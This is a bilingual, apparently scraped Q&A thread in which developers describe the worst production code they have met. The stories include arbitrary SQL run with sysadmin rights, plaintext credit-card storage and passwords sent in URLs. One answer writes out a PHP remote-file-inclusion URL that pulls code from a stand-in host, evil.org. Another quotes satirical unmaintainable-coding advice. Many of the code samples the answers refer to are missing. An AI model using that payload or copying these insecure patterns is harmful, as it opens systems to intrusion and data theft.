您在生产企业环境中见过的最邪恶的代码是什么?
您在公司生产环境中见过的最邪恶或最危险的代码片段是什么? 我从未遇到过我认为是故意恶意和邪恶的生产代码,所以我很好奇看看其他人发现了什么。
我见过的最危险的代码是远离我们的核心生产数据库服务器两个链接服务器的存储过程。 该存储过程接受任何 NVARCHAR(8000) 参数,并通过双跳转 sp_executeSQL 命令在目标生产服务器上执行该参数。 也就是说,sp_executeSQL 命令执行了另一个 sp_executeSQL 命令,以便跳转两个链接服务器。 哦,链接服务器帐户在目标生产服务器上具有系统管理员权限。
What is the most evil or dangerous code fragment you have ever seen in a production environment at a company? I've never encountered production code that I would consider to be deliberately malicious and evil, so I'm quite curious to see what others have found.
The most dangerous code I have ever seen was a stored procedure two linked-servers away from our core production database server. The stored procedure accepted any NVARCHAR(8000) parameter and executed the parameter on the target production server via an double-jump sp_executeSQL command. That is to say, the sp_executeSQL command executed another sp_executeSQL command in order to jump two linked servers. Oh, and the linked server account had sysadmin rights on the target production server.
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论
评论(30)
警告:前面有一篇长篇可怕的文章
我写过一篇关于我之前开发过的应用程序的文章这里和在这里。 简单来说,我的公司从印度继承了13万行垃圾。 该应用程序是用 C# 编写的; 这是一个柜员应用程序,与您每次去银行时柜员在柜台后面使用的软件相同。 该应用程序每天崩溃 40-50 次,而且根本无法重构为工作代码。 我的公司不得不在 12 个月的时间里重新编写整个应用程序。
为什么这个应用程序是邪恶的? 因为看到源代码就足以让一个理智的人发疯,也让一个疯子变得理智。 用于编写此应用程序的扭曲逻辑只能是受到洛夫克拉夫特式噩梦的启发。 该应用程序的独特功能包括:
在 130,000 行代码中,整个应用程序包含 5 个类(不包括表单文件)。 所有这些都是公共静态类。 其中一个类称为 Globals.cs,其中包含数千个公共静态变量,用于保存应用程序的整个状态。 这五个类总共包含 20,000 行代码,其余代码嵌入表单中。
你一定想知道,程序员是如何在没有任何类的情况下编写出如此大的应用程序的? 他们用什么来表示他们的数据对象? 事实证明,程序员仅仅通过组合 ArrayList、HashTable 和 DataTable,就成功地重新发明了我们所学过的有关 OOP 的一半概念。 我们看到了很多这样的情况:
请记住,上面的数据结构都不是强类型的,因此您必须将从列表中获得的任何神秘对象转换为正确的类型。 仅使用 ArrayList、HashTable 和 DataTable 就可以创建如此复杂的、类似 Rube Goldberg 的数据结构,真是令人惊奇。
为了分享如何使用上面详述的对象模型的示例,请考虑帐户:原始程序员为帐户的每个可想象的属性创建了一个单独的哈希表:名为 hstAcctExists、hstAcctNeedsOverride、hstAcctFirstName 的哈希表。 所有这些哈希表的键都是“|” 分隔的字符串。 可能的键包括“123456|DDA”、“24100|SVG”、“100|LNS”等。
由于可以通过全局变量轻松访问整个应用程序的状态,因此程序员发现没有必要将参数传递给方法。 我想说 90% 的方法采用 0 个参数。 在少数这样做的情况下,为了方便起见,所有参数都以字符串形式传递,无论字符串代表什么。
不存在无副作用的函数。 每个方法都会修改 Globals 类中的 1 个或多个变量。 并非所有副作用都有意义; 例如,其中一种表单验证方法有一个神秘的副作用,即计算存储 Globals.lngAcctNum 的任何帐户的贷款超额付款和短缺付款。
虽然有很多形式,但有一种形式可以统治所有形式:frmMain.cs,其中包含多达 20,000 行代码。 frmMain 做了什么? 一切。 它查账、打印收据、发放现金,它无所不能。
有时需要其他形式来调用 frmMain 上的方法。 为什么不直接调用代码,而不是将代码从表单中分解到单独的类中:
为了查找帐户,程序员做了如下操作:
尽管它已经创建了一个不可见的表单来执行业务逻辑,但您认为该表单如何知道要查找哪个帐户? 这很简单:表单可以访问 Globals.lngAcctNum 和 Globals.strAcctType。 (谁不喜欢匈牙利表示法?)
代码重用是 ctrl-c、ctrl-v 的同义词。 我发现 200 行方法在 20 个表单中复制/粘贴。
该应用程序有一个奇怪的线程模型,我喜欢称之为线程和计时器模型:产生线程的每个表单都有一个计时器。 每个产生的线程都会启动一个有 200 毫秒延迟的计时器; 一旦计时器启动,它就会检查线程是否设置了一些魔法布尔值,然后它会中止线程。 由此产生的 ThreadAbortException 被吞掉了。
您可能认为这种模式只会出现一次,但我在至少 10 个不同的地方发现了它。
说到线程,应用程序中从未出现过关键字“lock”。 线程无需获取锁即可自由操作全局状态。
应用程序中的每个方法都包含一个 try/catch 块。 每个异常都被记录并吞掉。
谁需要在打开字符串时打开枚举也同样容易!
一些天才发现您可以将多个表单控件连接到同一个事件处理程序。 程序员是如何处理这个问题的?
同样的天才还发现了辉煌的三元运算符。 以下是一些代码示例:
frmTranHist.cs [第 812 行]:
frmTellTransHist.cs [第 961 行]:
frmMain.TellCash.cs [第 727 行]:
这是一个代码片段,演示了 StringBuilder 的典型误用。 请注意程序员如何在循环中连接字符串,然后将结果字符串附加到 StringBuilder:
表上不存在主键、索引或外键约束,几乎所有字段都是 varchar(50) 类型,并且 100 % 的字段可为空。 有趣的是,位字段不用于存储布尔数据;而是用于存储布尔数据。 相反,使用 char(1) 字段,并使用字符“Y”和“N”分别表示 true 和 false。
说到数据库,下面是存储过程的代表性示例:
尽管如此,这个 130,000 行应用程序的最大问题是:没有单元测试。
是的,我把这个故事发给了 TheDailyWTF,然后我就辞职了。
Warning: Long scary post ahead
I've written about one application I've worked on before here and here. To put it simply, my company inherited 130,000 lines of garbage from India. The application was written in C#; it was a teller app, the same kind of software tellers use behind the counter whenever you go to the bank. The app crashed 40-50 times a day, and it simply couldn't be refactored into working code. My company had to re-write the entire app over the course of 12 months.
Why is this application evil? Because the sight of the source code was enough to drive a sane man mad and a mad man sane. The twisted logic used to write this application could have only been inspired by a Lovecraftian nightmare. Unique features of this application included:
Out of 130,000 lines of code, the entire application contained 5 classes (excluding form files). All of these were public static classes. One class was called Globals.cs, which contained 1000s and 1000s and 1000s of public static variables used to hold the entire state of the application. Those five classes contained 20,000 lines of code total, with the remaining code embedded in the forms.
You have to wonder, how did the programmers manage to write such a big application without any classes? What did they use to represent their data objects? It turns out the programmers managed to re-invent half of the concepts we all learned about OOP simply by combining ArrayLists, HashTables, and DataTables. We saw a lot of this:
Keep in mind, none of the data structures above are strongly typed, so you have to cast whatever mystery object you get out of the list to the correct type. It's amazing what kind of complex, Rube Goldberg-like data structures you can create using just ArrayLists, HashTables, and DataTables.
To share an example of how to use the object model detailed above, consider Accounts: the original programmer created a seperate HashTable for each concievable property of an account: a HashTable called hstAcctExists, hstAcctNeedsOverride, hstAcctFirstName. The keys for all of those hashtables was a “|” separated string. Conceivable keys included “123456|DDA”, “24100|SVG”, “100|LNS”, etc.
Since the state of the entire application was readily accessible from global variables, the programmers found it unnecessary to pass parameters to methods. I'd say 90% of methods took 0 parameters. Of the few which did, all parameters were passed as strings for convenience, regardless of what the string represented.
Side-effect free functions did not exist. Every method modified 1 or more variables in the Globals class. Not all side-effects made sense; for example, one of the form validation methods had a mysterious side effect of calculating over and short payments on loans for whatever account was stored Globals.lngAcctNum.
Although there were lots of forms, there was one form to rule them all: frmMain.cs, which contained a whopping 20,000 lines of code. What did frmMain do? Everything. It looked up accounts, printed receipts, dispensed cash, it did everything.
Sometimes other forms needed to call methods on frmMain. Rather than factor that code out of the form into a seperate class, why not just invoke the code directly:
To look up accounts, the programmers did something like this:
As bad as it already is creating an invisible form to perform business logic, how do you think the form knew which account to look up? That’s easy: the form could access Globals.lngAcctNum and Globals.strAcctType. (Who doesn't love Hungarian notation?)
Code-reuse was a synonym for ctrl-c, ctrl-v. I found 200-line methods copy/pasted across 20 forms.
The application had a bizarre threading model, something I like to call the thread-and-timer model: each form that spawned a thread had a timer on it. Each thread that was spawned kicked off a timer which had a 200 ms delay; once the timer started, it would check to see if the thread had set some magic boolean, then it would abort the thread. The resulting ThreadAbortException was swallowed.
You'd think you'd only see this pattern once, but I found it in at least 10 different places.
Speaking of threads, the keyword "lock" never appeared in the application. Threads manipulated global state freely without taking a lock.
Every method in the application contained a try/catch block. Every exception was logged and swallowed.
Who needs to switch on enums when switching on strings is just as easy!
Some genius figured out that you can hook multiple form controls up to the same event handler. How did the programmer handle this?
The same genius also discovered the glorious ternary operator. Here are some code samples:
frmTranHist.cs [line 812]:
frmTellTransHist.cs [line 961]:
frmMain.TellCash.cs [line 727]:
Here's a code snippet which demonstrates the typical misuse of the StringBuilder. Note how the programmer concats a string in a loop, then appends the resulting string to the StringBuilder:
No primary keys, indexes, or foreign key constraints existed on tables, nearly all fields were of type varchar(50), and 100% of fields were nullable. Interestingly, bit fields were not used to store boolean data; instead a char(1) field was used, and the characters 'Y' and 'N' used to represent true and false respectively.
Speaking of the database, here's a representative example of a stored procedure:
With all that said, the single biggest problem with this 130,000 line application this: no unit tests.
Yes, I have sent this story to TheDailyWTF, and then I quit my job.
在一个接受信用卡付款的系统中,我们用来存储完整的信用卡号码以及姓名、到期日期等。
事实证明这是非法的,考虑到我们当时正在为司法部编写程序,这很讽刺。
In a system which took credit card payments we used to store the full credit card number along with name, expiration date etc.
Turns out this is illegal, which is ironic given the we were writing the program for the Justice Department at the time.
我见过这样的密码加密功能
I've seen a password encryption function like this
这是一段商业代码中的错误处理例程:
我应该找出为什么“应用程序不断锁定”。
This was the error handling routine in a piece of commercial code:
I was supposed to find out why "the app keeps locking up".
立即组合以下所有 PHP“功能”。
非常可怕的数组/变量名称(字面示例):
(在我意识到它们不是同一个变量之前,我确实花了一个小时试图弄清楚它是如何工作的)
包含 50 个文件,每个文件包含 50 个文件,并且内容是线性/程序执行的以有条件且不可预测的方式跨所有 50 个文件。
对于那些不知道变量变量的人:
现在考虑 $x 包含来自 URL 的值(注册全局变量 magic ),因此代码中的任何地方都不清楚您使用的变量,因为它全部由 url 决定。
现在考虑当该变量的内容可以是网站用户指定的 url 时会发生什么。
是的,这对你来说可能没有意义,但它会创建一个名为该 url 的变量,即:
$http://google.com
,但它不能直接访问,你必须通过以下方式使用它上面的 double $ 技术。
此外,当用户可以在 URL 上指定一个变量来指示要包含哪个文件时,就会出现一些令人讨厌的技巧,例如
http://foo.bar.com/baz.php?include=http:// evil.org/evilcode.php
并且如果该变量出现在
include($include)
中并且 'evilcode.php' 打印其代码纯文本,并且 Php 的安全措施不当,php 只会trundle off,下载evilcode.php,并以网络服务器的用户身份执行它。
网络服务器将授予它所有权限等,允许 shell 调用、下载任意二进制文件并运行它们等等,直到最终你想知道为什么你的盒子磁盘空间不足,并且一个目录有 8GB 的盗版电影意大利语配音,通过机器人在 IRC 上共享。
我很庆幸的是,在运行攻击的脚本决定做一些非常危险的事情之前,我发现了暴行,比如从或多或少不安全的数据库中获取极其机密的信息:|
(我可以用这个代码库每天招待 dailywtf 6 个月,我没有骗你。在我逃离该代码后发现了 dailywtf 真是太遗憾了)
Combination of all of the following Php 'Features' at once.
Really Horrific Array/Variable names ( Literal example ):
( I literally spent an hour trying to work out how that worked before I realised they wern't the same variable )
Include 50 files, which each include 50 files, and stuff is performed linearly/procedurally across all 50 files in conditional and unpredictable ways.
For those who don't know variable variables:
Now consider $x contains a value from your URL ( register globals magic ), so nowhere in your code is it obvious what variable your working with becuase its all determined by the url.
Now consider what happens when the contents of that variable can be a url specified by the websites user.
Yes, this may not make sense to you, but it creates a variable named that url, ie:
$http://google.com
,except it cant be directly accessed, you have to use it via the double $ technique above.
Additionally, when its possible for a user to specify a variable on the URL which indicates which file to include, there are nasty tricks like
http://foo.bar.com/baz.php?include=http://evil.org/evilcode.php
and if that variable turns up in
include($include)
and 'evilcode.php' prints its code plaintext, and Php is inappropriately secured, php will just trundle off, download evilcode.php, and execute it as the user of the web-server.
The web-sever will give it all its permissions etc, permiting shell calls, downloading arbitrary binaries and running them, etc etc, until eventually you wonder why you have a box running out of disk space, and one dir has 8GB of pirated movies with italian dubbing, being shared on IRC via a bot.
I'm just thankful I discovered that atrocity before the script running the attack decided to do something really dangerous like harvest extremely confidential information from the more or less unsecured database :|
( I could entertain the dailywtf every day for 6 months with that codebase, I kid you not. Its just a shame I discovered the dailywtf after I escaped that code )
在主项目头文件中,来自一位老手的 COBOL 程序员,他莫名其妙地用 C 语言编写了一个编译器:
“因此,如果您忘记声明循环变量,则不会出现编译器错误。”
In the main project header file, from an old-hand COBOL programmer, who was inexplicably writing a compiler in C:
"So you won't get a compiler error if you forget to declare your loop variables."
Windows 安装程序。
The Windows installer.
本文如何编写不可维护的代码涵盖了一些已知的最出色的技术男人。 我最喜欢的一些是:
婴儿名字的新用途
购买一本婴儿命名书,您将永远不会对变量名称感到困惑。 弗雷德是一个很棒的名字,而且很容易输入。 如果您正在寻找易于输入的变量名称,请尝试使用 adsf 或 aoeu(如果您使用 DSK 键盘输入)。
创造性拼写错误
如果必须使用描述性变量和函数名称,请拼写错误。 通过在某些函数和变量名称中拼写错误,并在其他名称中拼写正确(例如 SetPintleOpening SetPintalClosing),我们可以有效地否定 grep 或 IDE 搜索技术的使用。 它的效果非常好。 通过在不同的剧院/剧院拼写 tory 或 tori 来增添国际风味。
抽象
在命名函数和变量时,大量使用抽象词,如 it、everything、data、handle、stuff、do、routine、perform 和数字,例如routineX48、PerformDataFunction、DoIt、HandleStuff 和 do_args_method 。
大写
随机将单词中间音节的第一个字母大写。 例如ComputeRasterHistoGram()。
小写 l 看起来很像数字 1
使用小写 l 表示长常量。 例如,10l 比 10L 更容易被误认为 101。 禁止任何明显消除歧义的字体 uvw wW gq9 2z 5s il17|!j oO08 `'" ;,. m nn rn {[()]}。要有创意。
回收您的变量
只要范围规则允许,重用现有的不相关的变量名称。类似地,将相同的临时变量用于两个不相关的目的(旨在保存堆栈槽),对变量进行变形,例如,为一个很长的变量分配一个值。方法,然后在中间的某个地方以微妙的方式更改变量的含义,例如将其从基于 0 的坐标转换为基于 1 的坐标
。 Cd wrttn wtht vwls s mch trsr
当在变量或方法名称中使用缩写时,用同一个单词的多个变体来打破无聊,甚至偶尔用手写出来,这有助于打败那些使用文本的懒惰者。搜索仅了解程序的某些方面。将变体拼写视为策略的变体,例如将国际颜色与美国颜色和花花公子语 kulerz 混合。 如果您完整拼写出名称,则每个名称只有一种可能的拼写方式。 这些对于维护程序员来说太容易记住了。 因为有很多不同的方式来缩写一个单词,所以使用缩写,您可以拥有多个具有相同明显目的的不同变量。 作为额外的好处,维护程序员甚至可能没有注意到它们是单独的变量。
模糊的电影参考
使用 LancelotsFavouriteColour 等常量名称代替蓝色,并为其指定十六进制值 $0204FB。 颜色在屏幕上看起来与纯蓝色相同,维护程序员必须计算出 0204FB(或使用某种图形工具)才能知道它是什么样子。 只有熟悉巨蟒剧团和圣杯的人才知道兰斯洛特最喜欢的颜色是蓝色。 如果维护程序员无法凭记忆引用整部 Monty Python 电影,那么他或她就没有资格成为程序员。
记录明显的内容
用 /* add 1 to i */ 这样的注释来填充代码,但是,永远不要记录诸如包或方法的总体用途之类的模糊内容。
记录如何而不是为什么
仅记录程序执行操作的详细信息,而不记录程序试图完成的任务。 这样,如果出现错误,修复者将不知道代码应该做什么。
副作用
在 C 中,函数应该是幂等的(没有副作用)。 我希望这个提示就足够了。
使用八进制
将八进制文字偷偷放入十进制数字列表中,如下所示:
扩展 ASCII
扩展 ASCII 字符作为变量名称完全有效,包括 ß、Ð 和 ñ 字符。 如果不在简单的文本编辑器中复制/粘贴,几乎不可能输入它们。
来自其他语言的名称
使用外语词典作为变量名称的来源。 例如,使用德语 punkt 表示点。 维护编码员,即使没有牢牢掌握德语,也能享受破译含义的多元文化体验。
来自数学的名称
选择伪装成数学运算符的变量名称,例如:
伪装成注释的代码,反之亦然
包括被注释掉但乍一看并没有注释掉的代码部分看起来是。
如果没有颜色编码,您会注意到三行代码被注释掉了吗?
伪装成关键字的任意名称
在编写文档时,您需要一个任意名称来表示文件名,请使用“file”。 切勿使用明显任意的名称,例如“Charlie.dat”或“Frodo.txt”。 一般来说,在您的示例中,请使用听起来尽可能像保留关键字的任意名称。 例如,参数或变量的好名称是“bank”、“blank”、“class”、“const”、“constant”、“input”、“key”、“keyword”、“kind”、“output” 、“参数”、“parm”、“系统”、“类型”、“值”、“var”和“变量”。 如果您对任意名称使用实际的保留字,这将被命令处理器或编译器拒绝,那就更好了。 如果你做得好,用户将在你的示例中对保留关键字和任意名称感到困惑,但你可以看起来很无辜,声称你这样做是为了帮助他们将适当的目的与每个变量关联起来。
代码名称不得与屏幕名称匹配
选择与屏幕上显示此类变量时使用的标签完全无关的变量名称。 例如,在屏幕上标记字段“邮政编码”,但在代码中调用关联变量“zip”。
选择最好的重载运算符
在 C++ 中,重载 +、-、*、/ 来做与加法、减法等完全无关的事情。毕竟,如果 Stroustroup 可以使用移位运算符来做 I/O ,为什么你不应该有同样的创造力呢? 如果您重载 +,请确保以 i = i + 5 的方式进行; 与 i += 5 具有完全不同的含义; 这是将重载运算符混淆提升为高级艺术的示例。 超载“!” 类的运算符,但重载与反转或求反无关。 让它返回一个整数。 然后,为了获得它的逻辑值,您必须使用 '! !'。 然而,这颠倒了逻辑,所以 [鼓声] 你必须使用 '! ! !'。 别混淆了! 运算符,它返回布尔值 0 或 1,带有 ~ 按位逻辑非运算符。
例外
我将让您了解一个鲜为人知的编码秘密。 例外是背后的痛苦。 正确编写的代码永远不会失败,因此异常实际上是不必要的。 不要在他们身上浪费时间。 子类化异常适用于那些知道自己的代码会失败的无能者。 您可以通过在整个应用程序(在主程序中)中仅使用一个调用 System.exit() 的 try/catch 来极大地简化您的程序。 只需在每个方法头中添加一组完全标准的抛出,无论它们实际上是否可以抛出任何异常。
魔法矩阵位置
使用某些矩阵位置中的特殊值作为标志。 一个好的选择是与齐次坐标系一起使用的变换矩阵中的 [3][0] 元素。
重新审视魔法数组槽
如果您需要给定类型的多个变量,只需定义它们的数组,然后按数字访问它们。 选择只有您知道但不记录的编号约定。 并且不必费心为索引定义 #define 常量。 每个人都应该知道全局变量 widget[15] 是取消按钮。 这只是在汇编代码中使用绝对数字地址的最新变体。
切勿美化
切勿使用自动源代码整理器(美化器)来保持代码对齐。 游说他们禁止他们进入你的公司,理由是他们在 PVCS/CVS(版本控制跟踪)中创建虚假增量,或者每个程序员都应该对他编写的任何模块拥有自己的缩进风格,永远神圣不可侵犯。 坚持要求其他程序员在“他的”模块中遵守那些特殊的约定。 禁止美化器非常容易,尽管它们可以节省数百万次手动对齐的击键次数以及浪费在误解对齐不良的代码上的时间。 只需坚持每个人都使用相同的整齐格式,不仅用于存储在公共存储库中,而且在编辑时也是如此。 这引发了 RWAR,老板为了维持和平,将禁止自动整理。 如果没有自动整理,您现在可能会意外地错位代码,从而产生循环体和 if 比实际长度更长或更短的错觉,或者 else 子句匹配的 if 与实际不同。 例如
测试是为懦夫准备的
勇敢的编码员会绕过这一步。 太多的程序员害怕他们的老板,害怕失去工作,害怕客户讨厌的邮件,害怕被起诉。 这种恐惧会阻碍行动并降低生产力。 研究表明,消除测试阶段意味着管理人员可以提前设定发货日期,这对规划过程有明显的帮助。 恐惧消失后,创新和实验就能蓬勃发展。 程序员的角色是生成代码,调试可以通过帮助台和遗留维护小组的合作来完成。
如果我们对自己的编码能力充满信心,那么测试就没有必要了。 如果我们从逻辑上看,那么任何傻瓜都可以认识到测试甚至不是试图解决技术问题,而是一个情感信心的问题。 解决这种缺乏信心问题的更有效的解决方案是完全消除测试,并将我们的程序员送去参加自尊课程。 毕竟,如果我们选择进行测试,那么我们就必须测试每一个程序更改,但我们只需要让程序员参加一门关于建立自尊的课程。 成本效益是惊人且显而易见的。
颠倒通常的真假惯例
颠倒通常的真假定义。 听起来很明显,但效果很好。 您可以将: 隐藏
在代码深处的某个地方,以便将其从程序内部的某些文件中挖掘出来,而不再有人查看。 然后强制程序进行比较,例如:
有人必须“纠正”明显的冗余,并以通常的方式在其他地方使用 var:
另一种技术是使 TRUE 和 FALSE 具有相同的值,尽管大多数人会认为这是彻头彻尾的作弊。 使用值 1 和 2 或 -1 和 0 是一种更微妙的方式,可以让人们绊倒,但仍然看起来很受人尊敬。 您可以在 Java 中通过定义一个名为 TRUE 的静态常量来使用相同的技术。 程序员可能会更怀疑你在图谋不轨,因为 Java 中有一个内置的文字 true。
利用精神分裂
Java 对于数组声明是精神分裂的。 您可以使用旧的 C 方式 String x[](使用混合前后缀表示法)或新方式 String[] x(使用纯前缀表示法)来执行它们。 如果你想真正迷惑人们,请混合使用符号。
这相当于:
This article How to Write Unmaintainable Code covers some of the most brilliant techniques known to man. Some of my favorite ones are:
New Uses For Names For Baby
Buy a copy of a baby naming book and you'll never be at a loss for variable names. Fred is a wonderful name, and easy to type. If you're looking for easy-to-type variable names, try adsf or aoeu if you type with a DSK keyboard.
Creative Miss-spelling
If you must use descriptive variable and function names, misspell them. By misspelling in some function and variable names, and spelling it correctly in others (such as SetPintleOpening SetPintalClosing) we effectively negate the use of grep or IDE search techniques. It works amazingly well. Add an international flavor by spelling tory or tori in different theatres/theaters.
Be Abstract
In naming functions and variables, make heavy use of abstract words like it, everything, data, handle, stuff, do, routine, perform and the digits e.g. routineX48, PerformDataFunction, DoIt, HandleStuff and do_args_method.
CapiTaliSaTion
Randomly capitalize the first letter of a syllable in the middle of a word. For example ComputeRasterHistoGram().
Lower Case l Looks a Lot Like the Digit 1
Use lower case l to indicate long constants. e.g. 10l is more likely to be mistaken for 101 that 10L is. Ban any fonts that clearly disambiguate uvw wW gq9 2z 5s il17|!j oO08 `'" ;,. m nn rn {[()]}. Be creative.
Recycle Your Variables
Wherever scope rules permit, reuse existing unrelated variable names. Similarly, use the same temporary variable for two unrelated purposes (purporting to save stack slots). For a fiendish variant, morph the variable, for example, assign a value to a variable at the top of a very long method, and then somewhere in the middle, change the meaning of the variable in a subtle way, such as converting it from a 0-based coordinate to a 1-based coordinate. Be certain not to document this change in meaning.
Cd wrttn wtht vwls s mch trsr
When using abbreviations inside variable or method names, break the boredom with several variants for the same word, and even spell it out longhand once in while. This helps defeat those lazy bums who use text search to understand only some aspect of your program. Consider variant spellings as a variant on the ploy, e.g. mixing International colour, with American color and dude-speak kulerz. If you spell out names in full, there is only one possible way to spell each name. These are too easy for the maintenance programmer to remember. Because there are so many different ways to abbreviate a word, with abbreviations, you can have several different variables that all have the same apparent purpose. As an added bonus, the maintenance programmer might not even notice they are separate variables.
Obscure film references
Use constant names like LancelotsFavouriteColour instead of blue and assign it hex value of $0204FB. The color looks identical to pure blue on the screen, and a maintenance programmer would have to work out 0204FB (or use some graphic tool) to know what it looks like. Only someone intimately familiar with Monty Python and the Holy Grail would know that Lancelot's favorite color was blue. If a maintenance programmer can't quote entire Monty Python movies from memory, he or she has no business being a programmer.
Document the obvious
Pepper the code with comments like /* add 1 to i */ however, never document wooly stuff like the overall purpose of the package or method.
Document How Not Why
Document only the details of what a program does, not what it is attempting to accomplish. That way, if there is a bug, the fixer will have no clue what the code should be doing.
Side Effects
In C, functions are supposed to be idempotent, (without side effects). I hope that hint is sufficient.
Use Octal
Smuggle octal literals into a list of decimal numbers like this:
Extended ASCII
Extended ASCII characters are perfectly valid as variable names, including ß, Ð, and ñ characters. They are almost impossible to type without copying/pasting in a simple text editor.
Names From Other Languages
Use foreign language dictionaries as a source for variable names. For example, use the German punkt for point. Maintenance coders, without your firm grasp of German, will enjoy the multicultural experience of deciphering the meaning.
Names From Mathematics
Choose variable names that masquerade as mathematical operators, e.g.:
Code That Masquerades As Comments and Vice Versa
Include sections of code that is commented out but at first glance does not appear to be.
Without the colour coding would you notice that three lines of code are commented out?
Arbitrary Names That Masquerade as Keywords
When documenting, and you need an arbitrary name to represent a filename use "file ". Never use an obviously arbitrary name like "Charlie.dat" or "Frodo.txt". In general, in your examples, use arbitrary names that sound as much like reserved keywords as possible. For example, good names for parameters or variables would be"bank", "blank", "class", "const ", "constant", "input", "key", "keyword", "kind", "output", "parameter" "parm", "system", "type", "value", "var" and "variable ". If you use actual reserved words for your arbitrary names, which would be rejected by your command processor or compiler, so much the better. If you do this well, the users will be hopelessly confused between reserved keywords and arbitrary names in your example, but you can look innocent, claiming you did it to help them associate the appropriate purpose with each variable.
Code Names Must Not Match Screen Names
Choose your variable names to have absolutely no relation to the labels used when such variables are displayed on the screen. E.g. on the screen label the field "Postal Code" but in the code call the associated variable "zip".
Choosing The Best Overload Operator
In C++, overload +,-,*,/ to do things totally unrelated to addition, subtraction etc. After all, if the Stroustroup can use the shift operator to do I/O, why should you not be equally creative? If you overload +, make sure you do it in a way that i = i + 5; has a totally different meaning from i += 5; Here is an example of elevating overloading operator obfuscation to a high art. Overload the '!' operator for a class, but have the overload have nothing to do with inverting or negating. Make it return an integer. Then, in order to get a logical value for it, you must use '! !'. However, this inverts the logic, so [drum roll] you must use '! ! !'. Don't confuse the ! operator, which returns a boolean 0 or 1, with the ~ bitwise logical negation operator.
Exceptions
I am going to let you in on a little-known coding secret. Exceptions are a pain in the behind. Properly-written code never fails, so exceptions are actually unnecessary. Don't waste time on them. Subclassing exceptions is for incompetents who know their code will fail. You can greatly simplify your program by having only a single try/catch in the entire application (in main) that calls System.exit(). Just stick a perfectly standard set of throws on every method header whether they could actually throw any exceptions or not.
Magic Matrix Locations
Use special values in certain matrix locations as flags. A good choice is the [3][0] element in a transformation matrix used with a homogeneous coordinate system.
Magic Array Slots revisited
If you need several variables of a given type, just define an array of them, then access them by number. Pick a numbering convention that only you know and don't document it. And don't bother to define #define constants for the indexes. Everybody should just know that the global variable widget[15] is the cancel button. This is just an up-to-date variant on using absolute numerical addresses in assembler code.
Never Beautify
Never use an automated source code tidier (beautifier) to keep your code aligned. Lobby to have them banned them from your company on the grounds they create false deltas in PVCS/CVS (version control tracking) or that every programmer should have his own indenting style held forever sacrosanct for any module he wrote. Insist that other programmers observe those idiosyncratic conventions in "his " modules. Banning beautifiers is quite easy, even though they save the millions of keystrokes doing manual alignment and days wasted misinterpreting poorly aligned code. Just insist that everyone use the same tidied format, not just for storing in the common repository, but also while they are editing. This starts an RWAR and the boss, to keep the peace, will ban automated tidying. Without automated tidying, you are now free to accidentally misalign the code to give the optical illusion that bodies of loops and ifs are longer or shorter than they really are, or that else clauses match a different if than they really do. e.g.
Testing is for cowards
A brave coder will bypass that step. Too many programmers are afraid of their boss, afraid of losing their job, afraid of customer hate mail and afraid of being sued. This fear paralyzes action, and reduces productivity. Studies have shown that eliminating the test phase means that managers can set ship dates well in advance, an obvious aid in the planning process. With fear gone, innovation and experimentation can blossom. The role of the programmer is to produce code, and debugging can be done by a cooperative effort on the part of the help desk and the legacy maintenance group.
If we have full confidence in our coding ability, then testing will be unnecessary. If we look at this logically, then any fool can recognise that testing does not even attempt to solve a technical problem, rather, this is a problem of emotional confidence. A more efficient solution to this lack of confidence issue is to eliminate testing completely and send our programmers to self-esteem courses. After all, if we choose to do testing, then we have to test every program change, but we only need to send the programmers to one course on building self-esteem. The cost benefit is as amazing as it is obvious.
Reverse the Usual True False Convention
Reverse the usual definitions of true and false. Sounds very obvious but it works great. You can hide:
somewhere deep in the code so that it is dredged up from the bowels of the program from some file that noone ever looks at anymore. Then force the program to do comparisons like:
someone is bound to "correct" the apparent redundancy, and use var elsewhere in the usual way:
Another technique is to make TRUE and FALSE have the same value, though most would consider that out and out cheating. Using values 1 and 2 or -1 and 0 is a more subtle way to trip people up and still look respectable. You can use this same technique in Java by defining a static constant called TRUE. Programmers might be more suspicious you are up to no good since there is a built-in literal true in Java.
Exploit Schizophrenia
Java is schizophrenic about array declarations. You can do them the old C, way String x[], (which uses mixed pre-postfix notation) or the new way String[] x, which uses pure prefix notation. If you want to really confuse people, mix the notationse.g.
which is equivalent to:
我不知道我是否会称这段代码为“邪恶”,但我们有一个开发人员会创建
Object[]
数组而不是编写类。 到处。I don't know if I'd call the code "evil", but we had a developer who would create
Object[]
arrays instead of writing classes. Everywhere.我已经看到(并发布到 thedailywtf)代码,该代码将使每个人在周二的应用程序的重要部分中拥有管理员权限。 我猜原始开发人员在本地机器测试后忘记删除代码。
I have seen (and posted to thedailywtf) code that will give everyone to have administrator rights in significant part of an application on Tuesdays. I guess the original developer forgot to remove the code after local machine testing.
我不知道这是否是“邪恶”的误导(我最近将其发布在“旧新事物”上):
我认识一个喜欢将信息存储为分隔字符串的人。 他熟悉数组的概念,正如他使用分隔字符串数组时所显示的那样,但灯泡从未亮起。
I don't know if this is "evil" so much as misguided (I recently posted it on The Old New Thing):
I knew one guy who loved to store information as delimited strings. He was familiar with the concept of arrays, as shown when he used arrays of delimited strings, but the light bulb never lit up.
用于在字符串中存储整数的 Base 36 编码。
我猜这个理论在某种程度上是这样的:
目前我正在使用一个数据库,该数据库存储一周中的几天事件可以作为 7 位位字段 (0-127) 发生,作为范围从“0”到“3J”的 2 个字符的字符串存储在数据库中。
Base 36 encoding to store ints in strings.
I guess the theory goes somewhat along the lines of:
At this moment I am working with a database that is storing the days of the week that an event can happen on as a 7-bit bitfield (0-127), stored in the database as a 2-character string ranging from '0' to '3J'.
我记得看到一个登录处理程序接受一个 post 请求,并重定向到一个 GET,并将用户名和密码作为参数传入。 这是针对“企业级”医疗系统的。
我在检查一些日志时注意到了这一点 - 我很想向首席执行官发送他的密码。
I remember seeing a login handler that took a post request, and redirected to a GET with the user name and password passed in as parameters. This was for an "enterprise class" medical system.
I noticed this while checking some logs - I was very tempted to send the CEO his password.
真正邪恶的是这段出色的 delphi 代码:
如果一个类只有一个实例,它就可以很好地工作。 但不幸的是我不得不使用另一个实例,这产生了很多有趣的错误。
当我发现这颗宝石时,我不记得我是否晕倒或尖叫,可能两者兼而有之。
Really evil was this piece of brilliant delphi code:
It worked great if there was only one instance of a class. But unfortunately I had to use an other instance and that created lots of interesting bugs.
When I found this jewel, I can't remember if I fainted or screamed, probably both.
也许不是邪恶的,但肯定是,嗯……误导了。
